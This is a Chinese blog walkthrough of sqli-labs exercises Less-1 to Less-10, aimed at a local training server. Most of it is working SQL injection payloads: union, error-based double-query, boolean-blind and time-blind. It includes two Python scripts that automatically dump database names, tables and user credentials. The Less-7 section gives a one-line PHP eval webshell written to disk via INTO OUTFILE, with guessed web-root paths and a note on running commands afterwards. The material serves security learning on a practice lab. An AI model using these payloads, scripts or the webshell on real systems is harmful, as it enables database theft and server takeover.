sqli-lab通关笔记Less1-10

为方便学习和理解,可以在源码中的$sql下面添加语句:

echo "你的 sql 语句是:".$sql."<br>";

Less-1 Error Based- String(报错注入-字符型)

http://localhost/sqli-labs/Less-1/?id=0' and union select 1,2,3 #   正常   
http://localhost/sqli-labs/Less-1/?id=1' order by 4 报错

说明表有3列,下一步:union select

http://localhost/sqli-labs/Less-1/?id=1%27%20union%20select%201,2,3--+

结果还是这样,不对啊:
mark

原因

$row = mysql_fetch_array($result);
从结果集中取出一行!!
那么我们将前面的查询条件改变,使之查不到,就可以显示union select 后面的了。比如将id=0或者id=-1

mark

可以利用concat和concat_ws进行但行输出多个行数据:

http://localhost/sqli-labs/Less-1/?id=0%27%20union%20select%201,2,concat_ws(char(32,58,32),user(),database(),version())--+

mark

这样就查出了当前用的库。

查表:

http://localhost/sqli-labs/Less-1/?id=0%27%20union%20select%201,2,table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20--+    

mark

http://localhost/sqli-labs/Less-1/?id=0%27%20union%20SELECT%20*%20FROM%20users%20WHERE%20id=%270%27%20union%20select%201,2,table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20LIMIT%203,1--%20%27

mark

不加limit 会只查询出第一行,也就是只查出一个表。

查字段:

http://localhost/sqli-labs/Less-1/?id=0%27%20union%20select%201,2,column_name%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27%20LIMIT%200,1--%20%27

逐个改变limit x,1 查出字段
mark
查出字段值:
id,usename, password

查数据(随意查):

http://localhost/sqli-labs/Less-1/?id=-1' union select 1,2,concat_ws(char(32,58,32),id,username,password) from  users limit 1,1 --+

mark

附上本菜鸡的脚本,可以读出数据库所有内容:

import requests 
import re

def GetHtmlText(url):
try:
r = requests.get(url, timeout=30)
r.raise_for_status()
r.encoding = r.apparent_encoding
return r.text
except:
return ''

def main():
url0 = "http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,concat_ws(char(32,124,32),id,username,password) from users limit "
url2 = ",1 --+"
for id in range(20):
#print(id)
try:
payload = url0 + str(id) + url2
#print(payload)
html = GetHtmlText(payload)
#print(html)
res = re.findall(r'(?<=Password:).*(?=</font></font>)',html)
for i in res:
print(res)
except:
continue
print('done')

main()

mark

Less-2 Error-Based-intiger (报错注入-整型)

可以看一下源码:

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

与字符型相比,只是$id变量当做整型,而不是’$id’(字符型),这也就导致了,我们不需要去闭合 ‘ ,其他的部分基本和字符型一致,不再赘述。

mark

Less-3 Error Based- String (with Twist) (字符型变形)

与Less1 类似,just turn

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

to

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";   

注意闭合即可。
不再赘述。
payload:

http://localhost/sqli-labs/Less-3/?id=-1') union select 1,2,concat_ws(char(32,124,32),id,username,password) from users limit 2,1 --+

mark

Less-4 Error Based- DoubleQuotes String 字符型-双引号

源码:

$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

和Less1类似,’$id’ —> (“$id”)
注意闭合即可,不再赘述。
payload:

http://localhost/sqli-labs/Less-4/?id=-1") union select 1,2,concat_ws(char(32,124,32),id,username,password) from  users limit 2,1--+

mark

Less-5 Double Query- Single Quotes- String 双注入查询

这道题其实是在说双注入,所以脱开这题,我了解了一下双注入查询:
https://www.2cto.com/article/201303/192718.html

mysql> use security
Database changed
mysql> select concat((select database()));
+-----------------------------+
| concat((select database())) |
+-----------------------------+
| security |
+-----------------------------+
1 row in set (0.00 sec)

用concat链接后面的语句,这样((select database()))作为结果交给前面的select;

mysql> select concat((select database()),'0');
+---------------------------------+
| concat((select database()),'0') |
+---------------------------------+
| security0 |
+---------------------------------+
1 row in set (0.00 sec)

这个命令看的更清楚了,将(select database())的结果与‘0’连接。

另外:

mysql> select floor(rand()*2) from users
-> ;
+-----------------+
| floor(rand()*2) |
+-----------------+
| 1 |
| 0 |
| 1 |
| 1 |
| 0 |
| 0 |
| 1 |
| 0 |
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
+-----------------+
13 rows in set (0.00 sec)
#返回一个行数与users表行数一样的表,但是每行都是1
#增加临时列,每行的列值是写在select后的数
mysql> select count(*) from users;
+----------+
| count(*) |
+----------+
| 13 |
+----------+
1 row in set (0.00 sec)
# 返回users表的列数。
mysql> select sum(10) from users;
+---------+
| sum(10) |
+---------+
| 130 |
+---------+
1 row in set (0.00 sec)
#计算临时列的行数乘以临时列的值(10)的结果。

如果用聚合函数如count(*),后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。

mysql> select count(*),concat((select version()),'|',floor(rand()*2)) as a from information_schema.tables group by a;
ERROR 1062 (23000): Duplicate entry '5.5.53|1' for key 'group_key'

可以发现版本以报错形式回显了。5.5.53

下面爆出了库名:

mysql> select count(*),1,concat((select database()),'|',floor(rand()*2)) as a from information_schema.tables group by a;
ERROR 1062 (23000): Duplicate entry 'security|0' for key 'group_key'
mysql>

对于没有报错回显的sql注入,双注入可以将一些信息已报错形式返回给用户。
这种方式有随机性。有时需要多刷新几次。

回到Less5:
直接注入查询表啊什么的,是没有回显的。
mark
但是我们可以利用刚刚说的双注入,发现库名以报错形式回显!!
mark

下面就是非常好(dan)玩(teng)的手工注入过程了:
查user

http://localhost/sqli-labs/Less-5/?id=1' union select count(*),1, concat('|',(select user()),'|', floor(rand()*2)) as a from information_schema.tables group by a --+

查database

http://localhost/sqli-labs/Less-5/?id=1' union select count(*),1, concat('|',(select database()), '|',floor(rand()*2)) as a from information_schema.tables group by a --+ 

查table(改变limit后面的值来查看多个表)

http://localhost/sqli-labs/Less-5/?id=1' union select count(*),1, concat('|',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'|', floor(rand()*2)) as a from information_schema.tables group by a --+

mark
查column(改limit x,1)

http://localhost/sqli-labs/Less-5/?id=1' union select count(*),1, concat('|',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),'|', floor(rand()*2)) as a from information_schema.tables group by a--+ 

mark

查数据

http://localhost/sqli-labs/Less-5/?id=1' union select count(*),1, concat('|',(select concat_ws(':',id,username,password) from users limit 2,1),'|', floor(rand()*2)) as a from information_schema.tables group by a--+  

mark

以上由于使用的是随机数,可能出现正确结果而不报错,这种情况下,多刷新几次即可。

Less-6 Double Query- Double Quotes- String(双注入-双引号)

与Less-5其实一样。

#Less5
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
#Less-6
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

只是闭合方式不同,不再赘述。

less-7 GET - Dump into outfile - String (导出文件GET字符型注入)

导出到文件就是可以将查询结果导出到一个文件中,如常见的将一句话木马导出到一个php文件中。

常用的语句是:

select "<?php @eval($_POST['x']);?>" into outfile "XXX\test.php" ,

当这里要获取到网站的在系统中的具体路径(绝对路径)
这个要怎么获取呢,根据系统和数据库猜测,如winserver的iis默认路径是c:/inetpub/wwwroot/,这好像说偏了,这是asp的,但知道也好

linux的nginx一般是/usr/local/nginx/html/home/wwwroot/default/usr/share/nginx/var/www/htm
apache 就/var/www/htm/var/www/html/htdocs

另外,还有读取数据库路径的方法: 利用两个变量
@@datadir 读取数据库路径
@@basedir MYSQL 获取安装路径
mark

虽然报错,但是语句执行了。注意路径需要转义,否则报错且无法执行。
mark

发现文件已经写到目录下了。
mark

可以执行命令了。也可以菜刀连。
mark

Less-8 Blind- Boolian- Single Quotes- String(单引号-布尔盲注)

盲注需要掌握一些MySQL的相关函数:

length(str):
返回str字符串的长度。

substr(str, pos, len):
将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始

mid(str,pos,len):跟上面的一样,截取字符串

ascii(str):返回字符串str的最左面字符的ASCII代码值。

ord(str):同上,返回ascii码

if(a,b,c) :
a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0

首先要记得常见的ASCII,A:65,Z:90 a:97,z:122, 0:48, 9:57

发现加个单引号跟没加显示不一样,
加了单引号连you are in都不显示了,没有报错,所以只能用盲注判断了

查询数据库

select database()
ascii(substr((select database()),1,1))   # 返回数据库名称的第一个字母,转化为ascii码的值
ascii(substr((select database()),1,1))>64   # ascii大于64就返回true,if就返回1,否则返回0

于是payload:

http://localhost/sqli-labs/Less-8/?id=1' and if(ascii(substr((select database()),1,1))>64, 1, 0) %23

http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>64 %23

猜数据库名第一个字母具体过程,使用二分法

http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1)>64 %23 返回正确,大于64
http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>96 %23 返回正确,大于96
http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))<123 %23 返回正确,小于123 ,区间在97-122
http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>109 %23 返回正确,大于109,区间在110-122
http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>116 %23 返回错误,所以在110-116之间
http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>112 %23 返回正确,大于112,区间在113-116之间
http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>114 %23 返回正确,大于114,间在115-116之间
http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>115 %23 返回错误,不大于115,即第一个字母的ascii为115,即字母s

师傅的脚本(一比,我的简直太垃圾了):

# -*-coding:utf-8-*-

"""
@version:
@author: giantbranch
@file: blindsqlinjection.py
@time: 2016/5/1
"""

import urllib2
import urllib


success_str = "You are in"
getTable = "users"

index = "0"
url = "http://localhost/sqli-labs/Less-8/?id=1"
database = "database()"
selectDB = "select database()"
selectTable = "select table_name from information_schema.tables where table_schema='%s' limit %d,1"


asciiPayload = "' and ascii(substr((%s),%d,1))>=%d #"
lengthPayload = "' and length(%s)>=%d #"
selectTableCountPayload = "'and (select count(table_name) from information_schema.tables where table_schema='%s')>=%d #"

selectTableNameLengthPayloadfront = "'and (select length(table_name) from information_schema.tables where table_schema='%s' limit "
selectTableNameLengthPayloadbehind = ",1)>=%d #"


# 发送请求,根据页面的返回的判断长度的猜测结果
# string:猜测的字符串 payload:使用的payload length:猜测的长度
def getLengthResult(payload, string, length):
finalUrl = url + urllib.quote(payload % (string, length))
res = urllib2.urlopen(finalUrl)
if success_str in res.read():
return True
else:
return False

# 发送请求,根据页面的返回的判断猜测的字符是否正确
# payload:使用的payload string:猜测的字符串 pos:猜测字符串的位置 ascii:猜测的ascii
def getResult(payload, string, pos, ascii):
finalUrl = url + urllib.quote(payload % (string, pos, ascii))
res = urllib2.urlopen(finalUrl)
if success_str in res.read():
return True
else:
return False

# 注入
def inject():
# 猜数据库长度
lengthOfDBName = getLengthOfString(lengthPayload, database)
print "length of DBname: " + str(lengthOfDBName)
# 获取数据库名称
DBname = getName(asciiPayload, selectDB, lengthOfDBName)

print "current database:" + DBname

# 获取数据库中的表的个数
# print selectTableCountPayload
tableCount = getLengthOfString(selectTableCountPayload, DBname)
print "count of talbe:" + str(tableCount)

# 获取数据库中的表
for i in xrange(0,tableCount):
# 第几个表
num = str(i)
# 获取当前这个表的长度
selectTableNameLengthPayload = selectTableNameLengthPayloadfront + num + selectTableNameLengthPayloadbehind
tableNameLength = getLengthOfString(selectTableNameLengthPayload, DBname)
print "current table length:" + str(tableNameLength)
# 获取当前这个表的名字
selectTableName = selectTable%(DBname, i)
tableName = getName(asciiPayload, selectTableName ,tableNameLength)
print tableName


selectColumnCountPayload = "'and (select count(column_name) from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s')>=%d #"
# print selectColumnCountPayload
# 获取指定表的列的数量
columnCount = getLengthOfString(selectColumnCountPayload, getTable)
print "table:" + getTable + " --count of column:" + str(columnCount)

# 获取该表有多少行数据
dataCountPayload = "'and (select count(*) from %s)>=%d #"
dataCount = getLengthOfString(dataCountPayload, getTable)
print "table:" + getTable + " --count of data: " + str(dataCount)

data = []
# 获取指定表中的列
for i in xrange(0,columnCount):
# 获取该列名字长度
selectColumnNameLengthPayload = "'and (select length(column_name) from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s' limit "+ str(i) +",1)>=%d #"
# print selectColumnNameLengthPayload
columnNameLength = getLengthOfString(selectColumnNameLengthPayload, getTable)
print "current column length:" + str(columnNameLength)
# 获取该列的名字
selectColumn = "select column_name from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s' limit %d,1"
selectColumnName = selectColumn%(getTable, i)
# print selectColumnName
columnName = getName(asciiPayload, selectColumnName ,columnNameLength)
print columnName

tmpData = []
tmpData.append(columnName)
# 获取该表的数据
for j in xrange(0,dataCount):
columnDataLengthPayload = "'and (select length("+ columnName +") from %s limit " + str(j) + ",1)>=%d #"
# print columnDataLengthPayload
columnDataLength = getLengthOfString(columnDataLengthPayload, getTable)
# print columnDataLength
selectData = "select " + columnName + " from users limit " + str(j) + ",1"
columnData = getName(asciiPayload, selectData, columnDataLength)
# print columnData
tmpData.append(columnData)

data.append(tmpData)

# print data
# 格式化输出数据
# 输出列名
tmp = ""
for i in xrange(0,len(data)):
tmp += data[i][0] + " "
print tmp
# 输出具体数据
for j in xrange(1,dataCount+1):
tmp = ""
for i in xrange(0,len(data)):
tmp += data[i][j] + " "
print tmp

# 获取字符串的长度
def getLengthOfString(payload, string):
# 猜长度
lengthLeft = 0
lengthRigth = 0
guess = 10
# 确定长度上限,每次增加5
while 1:
# 如果长度大于guess
if getLengthResult(payload, string, guess) == True:
# 猜测值增加5
guess = guess + 5
else:
lengthRigth = guess
break
# print "lengthRigth: " + str(lengthRigth)
# 二分法查长度
mid = (lengthLeft + lengthRigth) / 2
while lengthLeft < lengthRigth - 1:
# 如果长度大于等于mid
if getLengthResult(payload, string, mid) == True:
# 更新长度的左边界为mid
lengthLeft = mid
else:
# 否则就是长度小于mid
# 更新长度的右边界为mid
lengthRigth = mid
# 更新中值
mid = (lengthLeft + lengthRigth) / 2
# print lengthLeft, lengthRigth
# 因为lengthLeft当长度大于等于mid时更新为mid,而lengthRigth是当长度小于mid时更新为mid
# 所以长度区间:大于等于 lengthLeft,小于lengthRigth
# 而循环条件是 lengthLeft < lengthRigth - 1,退出循环,lengthLeft就是所求长度
# 如循环到最后一步 lengthLeft = 8, lengthRigth = 9时,循环退出,区间为8<=length<9,length就肯定等于8
return lengthLeft

# 获取名称
def getName(payload, string, lengthOfString):
# 32是空格,是第一个可显示的字符,127是delete,最后一个字符
tmp = ''
for i in xrange(1,lengthOfString+1):
left = 32
right = 127
mid = (left + right) / 2
while left < right - 1:
# 如果该字符串的第i个字符的ascii码大于等于mid
if getResult(payload, string, i, mid) == True:
# 则更新左边界
left = mid
mid = (left + right) / 2
else:
# 否则该字符串的第i个字符的ascii码小于mid
# 则更新右边界
right = mid
# 更新中值
mid = (left + right) / 2
tmp += chr(left)
# print tmp
return tmp


def main():
inject()
main()

运行结果:
mark

less-9 GET Blind Time based Single Quotes (基于时间的GET单引号盲注)

发现无论是id=1还是id=1',页面结果没有什么变化,这种情况下,一般就是时间盲注了,只能通过演示函数,通过网页是否延时输出,判断sql注入是否成功。

http://localhost/sqli-labs/Less-9/?id=1' and sleep(5) # 

延时成功,表示发生了错误,说明存在sql注入点。

payload:

http://localhost/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(),1,1))>115, 0, sleep(5)) %23
http://localhost/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(),1,1))>114, 0, sleep(5)) %23

判断数据库名的第一个字母为s(ascii为115),判断错误的话是暂停5秒

less-10 GET Blind Time based double quotes (基于时间的双引号盲注)

闭合条件变为双引号,注意闭合即可,
把上面的改成双引号就行

判断为基于时间的双引号注入

http://localhost/sqli-labs/Less-10/?id=1" and sleep(5) #

不再赘述。

参考链接

https://blog.csdn.net/u012763794/article/details/51207833
https://www.jianshu.com/p/65f05e7cc957

文章作者: V0WKeep3r
文章链接: http://v0w.top/2018/08/05/sqli-lab通关笔记Lesson1-10/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 V0W's Blog
支付宝打赏
微信打赏